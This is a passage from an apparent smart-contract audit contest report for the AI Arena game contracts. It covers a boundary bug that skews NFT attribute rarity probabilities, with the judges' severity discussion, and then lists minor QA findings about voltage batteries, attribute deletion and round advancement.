} else { uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100; uint256 attributeIndex = dnaToIndex(generation, rarityRank, attributes[i]); finalAttributeProbabilityIndexes[i] = attributeIndex; }
Here since we use % 100
operation is used, the range of rarityRank
would be [0,99]
This rarityRank
is used in the dnaToIndex
to determine the final attribute of the part.
/// @dev Convert DNA and rarity rank into an attribute probability index. /// @param attribute The attribute name. /// @param rarityRank The rarity rank. /// @return attributeProbabilityIndex attribute probability index. function dnaToIndex(uint256 generation, uint256 rarityRank, string memory attribute) public view returns (uint256 attributeProbabilityIndex) { uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute); uint256 cumProb = 0; uint256 attrProbabilitiesLength = attrProbabilities.length; for (uint8 i = 0; i < attrProbabilitiesLength; i++) { cumProb += attrProbabilities[i]; if (cumProb >= rarityRank) { attributeProbabilityIndex = i + 1; break; } } return attributeProbabilityIndex; }
There is however, a very subtle bug in the calculation above due to the use of cumProb >= rarityRank
as opposed to cumProb > rarityRank
To explain the above, I will perform a calculation using a simple example. Let's say we only have 2 possible attributes and the attrProbabilities
is [50, 50].
First iteration, when i = 0
, we have cumProb = 50
, for the if (cumProb >= rarityRank)
to be entered the range of values rarityRank
can be is [0, 50]. Therefore there is a 51% chance of obtaining this attribute
Next iteration, when i = 1
, we have cumProb = 100
, for the if (cumProb >= rarityRank)
to be entered the range of values rarityRank
can be is [51, 99]. Therefore there is a 49% chance of obtaining this attribute.
This means that for values in the first index, the probability is 1% greater than intended and for values in the last index the probability is 1% lesser than intended. This can be significant in certain cases, let us run through two of them.
attrProbabilities
is 1.If the first value in attrProbabilities
is 1. Let's say [1, 99].
Then in reality if we perform the calculation above we get the following results:
First iteration, when i = 0
, we have cumProb = 1
, for the if (cumProb >= rarityRank)
to be entered the range of values rarityRank
can be is [0, 1]. Therefore there is a 2% chance of obtaining this attribute
Next iteration, when i = 1
, we have cumProb = 100
, for the if (cumProb >= rarityRank)
to be entered the range of values rarityRank
can be is [2, 99]. Therefore there is a 98% chance of obtaining this attribute.
Then we have twice the chance of getting the rarer item, which would make it twice as common, thus devaluing it.
attrProbabilities
is 1.If the last value in attrProbabilities
is 1. Let's say [99, 1].
Then in reality if we perform the calculation above we get the following results:
i = 0
, we have cumProb = 99
, for the if (cumProb >= rarityRank)
to be entered the range of values rarityRank
can be is [0, 99]. Therefore we will always enter the if (cumProb >= rarityRank)
block.Then it would be impossible (0% chance) to obtain the 1% item.
Manual Review
It should be cumProb > rarityRank
. Going back to our example of [50, 50], if it were cumProb > rarityRank
. Then we will get the following results:
First iteration, when i = 0
, we have cumProb = 50
, for the if (cumProb > rarityRank)
to be entered the range of values rarityRank
can be is [0, 49]. Therefore there is a 50% chance of obtaining this attribute
Next iteration, when i = 1
, we have cumProb = 100
, for the if (cumProb > rarityRank)
to be entered the range of values rarityRank
can be is [50, 99]. Therefore there is a 50% chance of obtaining this attribute.
Thus the above recommended mitigation is correct.
Math
#0 - c4-pre-sort
2024-02-24T03:40:05Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-24T03:40:45Z
raymondfam marked the issue as duplicate of #15
#2 - c4-judge
2024-03-05T03:25:12Z
HickupHH3 marked the issue as not a duplicate
#3 - c4-judge
2024-03-05T03:26:22Z
HickupHH3 marked the issue as primary issue
#4 - c4-judge
2024-03-05T03:26:28Z
HickupHH3 marked the issue as satisfactory
#5 - HickupHH3
2024-03-05T03:27:11Z
Valid issue: wrong inclusion of boundary skews the probability to one-side by 1%.
#6 - c4-judge
2024-03-05T03:27:16Z
HickupHH3 marked the issue as selected for report
#7 - McCoady
2024-03-20T12:06:09Z
Unsure if this issue warrants a medium, treating Deployer.s.sol
as something of a source of truth (even if OOS) suggests that the largest issue will be the probability of some attributes being 3% instead of 4%.
While this is not ideal, the impact of the issue is that the NFTs that get minted have a slightly different set of rarities than the team intended. Given: A. There are 10 attributes rather than 2 in this example. B. The values will still be distributed (pseudo) randomly so there is no guarantee x% will be minted.
Therefore impact of this issue would barely be in all cases except where the final value in the array is 1, as shown in this finding.
#8 - mcgrathcoutinho
2024-03-20T12:33:00Z
Hi @HickupHH3, I believe this issue should of QA-severity.
Based on the above points, I think this should be QA.
Please consider re-evaluating this issue, thank you.
#9 - HickupHH3
2024-03-21T00:42:33Z
Disagree, the shift in probabilities will affect trait generation, which affects fighter valuations.
π Selected for report: givn
Also found by: 0x11singh99, 0xAkira, 0xBinChook, 0xDetermination, 0xMosh, 0xStriker, 0xmystery, 14si2o_Flint, 7ashraf, Aamir, AlexCzm, BARW, Bauchibred, BenasVol, BigVeezus, Blank_Space, Bube, DarkTower, DeFiHackLabs, EagleSecurity, KmanOfficial, Krace, McToady, MrPotatoMagic, PetarTolev, Rolezn, SHA_256, SpicyMeatball, Tekken, Timenov, ZanyBonzy, agadzhalov, alexzoid, boredpukar, btk, cartlex_, dimulski, forkforkdog, haxatron, immeas, jesjupyter, juancito, kartik_giri_47538, klau5, lsaudit, merlinboii, nuthan2x, offside0011, oualidpro, peter, radev_sw, rekxor, rspadi, shaflow2, shaka, swizz, vnavascues, yotov721, yovchev_yoan
8.8123 USDC - $8.81
Observe the following code:
/// @notice Uses a voltage battery to replenish voltage for a player in AI Arena. /// @dev This function can be called by any user to use the voltage battery. function useVoltageBattery() public { require(ownerVoltage[msg.sender] < 100); require(_gameItemsContractInstance.balanceOf(msg.sender, 0) > 0); _gameItemsContractInstance.burn(msg.sender, 0, 1); ownerVoltage[msg.sender] = 100; emit VoltageRemaining(msg.sender, ownerVoltage[msg.sender]); }
To prevent users from wasting a voltage battery it does a check that ownerVoltage[msg.sender] < 100
but if the battery is ready to replenish such that ownerVoltageReplenishTime[spender] <= block.timestamp
. However, a user can still accidentally waste a voltage battery if they call useVoltageBattery
when they could call spendVoltage
which would immediately replenish their battery if ownerVoltageReplenishTime[spender] <= block.timestamp
.
deleteAttributeProbabilities
is redundant and can cause additional problems if accidentally called.The function deleteAttributeProbabilities
is redundant because an admin can already modify the probabilities via addAttributeProbabilities
function.
/// @notice Delete attribute probabilities for a given generation. /// @dev Only the owner can call this function. /// @param generation The generation number. function deleteAttributeProbabilities(uint8 generation) public { require(msg.sender == _ownerAddress); uint256 attributesLength = attributes.length; for (uint8 i = 0; i < attributesLength; i++) { attributeProbabilities[generation][attributes[i]] = new uint8[](0); } }
Furthermore, it can cause additional problems if accidentally called. For instance if the admin calls deleteAttributeProbabilities
on an active generation the attrProbabilities
array will be set to 0. This will cause the output of dnaToIndex
to be 0 which is invalid and can cause issues with the offchain mechanisms.
totalAccumulatedPoints[roundId] > 0
in order to move to next round.In order to move the round forward we require totalAccumulatedPoints[roundId] > 0
/// @notice Sets a new round, making claiming available for that round. /// @dev Only admins are authorized to move the round forward. function setNewRound() external { require(isAdmin[msg.sender]); require(totalAccumulatedPoints[roundId] > 0); roundId += 1; _stakeAtRiskInstance.setNewRound(roundId); rankedNrnDistribution[roundId] = rankedNrnDistribution[roundId - 1]; }
In the extreme scenario where no one has accumulated any points and also has stakeAtRisk
, admin cannot move round forward as totalAccumulatedPoints[roundId] = 0
#0 - raymondfam
2024-02-26T07:33:02Z
L1 to #27
#1 - c4-pre-sort
2024-02-26T07:33:07Z
raymondfam marked the issue as sufficient quality report
#2 - HickupHH3
2024-03-11T10:11:11Z
#66: L #101: L
#3 - c4-judge
2024-03-12T04:20:32Z
HickupHH3 marked the issue as grade-b